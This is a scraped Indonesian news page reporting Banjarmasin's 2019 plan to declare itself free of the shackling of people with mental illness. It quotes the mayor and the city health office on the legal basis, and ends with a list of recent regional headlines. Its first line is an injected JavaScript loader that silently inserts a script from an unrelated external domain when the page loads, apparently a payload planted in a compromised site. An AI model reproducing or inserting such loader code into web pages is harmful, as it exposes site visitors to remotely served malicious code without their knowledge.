(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Ada 14 Kasus Pemasungan, Target Banjarmasin Jadi Kota Bebas Pasung


BANJARMASIN, Kota Banjarmasin akan mendeklarasikan diri sebagai Kota Bebas Pasung. Rencananya, deklarasi yang diyakini baru pertama kali di Indonesia itu, dilaksanakan bertepatan dengan peringatan HUT ke-74 Kemerdekan RI 17 Agustus 2019 mendatang.

Sebagai langkah awal, Walikota Banjarmasin Ibnu Sina bersama seluruh camat, lurah dan instansi terkait menyatakan komitmen dengan membubuhkan tanda tangan menjadikan kota berjuluk seribu sungai ini Bebas Pasung.

Komitmen bersama itu, merupakan rangkaian dari pertemuan koordinasi sinergisitas lintas sektor, pelaksanaan deklarasi Banjarmasin Bebas Pasung, yang merupakan program kesehatan jiwa, dari Dinas Kesehatan Kota Banjarmasin, di Aula Kayuh Baimbai, Balaikota Banjarmasin, Rabu (17/7).

Dari data Dinas Kesehatan Kota Banjarmasin, hingga Juli 2019 jumlah  pasung di Banjarmasin tercatat 14 kasus. Dan paling terbaru kasus dugaan pasung itu terjadi di kawasan Banua Anyar.

Ibnu Sina saat menyampaikan sambutan mengatakan, keinginan membebaskan kota dari kebiasaan pemasungan manusia itu merupakan hal yang mulia.

Namun begitu, lanjutnya, hal tersebut tidak bisa dilakukan oleh satu institusi saja, tetapi harus dilakukan secara bersama-sama dan lintas sektoral.

“Tadi daftarnya sudah jelas, ada dinas-dinas terkait, kemudian ada aparat penegak hukumnya, kemudian ada tenaga kesehatannya, para relawannya juga ada. Saya kira nanti yang paling berhadapan langsung dengan situasi ini adalah para lurah dan RT dan RW di masing-masing wilayah,” ujarnya.

Mudah-mudahan, ucapnya, dengan adanya kegiatan pertemuan tersebut dapat menyatukan persepsi sehingga bisa saling berkolaborasi mendukung rencana tersebut. “Saya betul-betul ingin agar hal ini bisa menjadi kerjasama dan koordinasi, karena ini tugas tambahan dan tentu tanggung jawab kita, resikonya sudah tahu, ketika kita mendeklarasikan, jangan sampai ini hanya sekedar deklarasi atau proklamasi saja,” harapnya.

Sementara itu, Kadinkes Kota Banjarmasin, Machli Riyadi mengatakan, dasar hukum dideklarasikannya program bebas pasung ini adalah UUD 1945, pasal 28 G, ayat 2, dan pasal 28 I ayat 1, tentang hak untuk bebas dari penyiksaan dan hak untuk hidup dan hak untuk tidak disiksa.

Selain itu, dasar hukum lain yang memperkuat program tersebut adalah UU Nomor 36 tahun 2009 tentang Kesehatan pasal 56, pasal 146 ayat 2, pasal 147 ayat 2, Pasal 148 ayat 1, dan Pasal 149 tentang perlindungan pasien dengan gangguan jiwa, menghindari pelanggaran hak asazi, tetap menghormati hak asazi penderita, hak yang sama sebagai warga negara dan gangguan jiwa wajib mendapatkan pengobatan dan perawatan.

“UU nomor 18 tentang kesehatan jiwa, pasal 86 menyatakan, setiap orang yang dengan sengaja melakukan pemasungan, penelantaran, kekerasan dan atau penyuruh orang lain untuk melakukan pemasungan, penelantaran dan atau kekerasan terhadap ODMK dan ODGJ atau tindakan lainnya yang melanggar hak asazi ODMK dan ODGJ, dipidana sesuai dengan ketentuan peraturan perundang-undangan,”  ujarnya.

Adanya program bebas pasung ini, jelasnya, diharapkan dapat mencapai masyarakat Indonesia bebas dari tindakan pemasungan terhadap orang dengan gangguan jiwa melalui, terselenggaranya perlindungan HAM bagi orang dengan gangguan jiwa, kemudian tercapainya peningkatan pengetahuan dari seluruh pemangku kepentingan dan masyarakat di bidang kesehatan jiwa serta mencegah penelantaran dan pemasungan. (mario)

Reporter : Mario
Editor : Bie

Desy Arfianty

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

12 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

13 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

14 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

15 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

16 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

16 jam ago

This website uses cookies.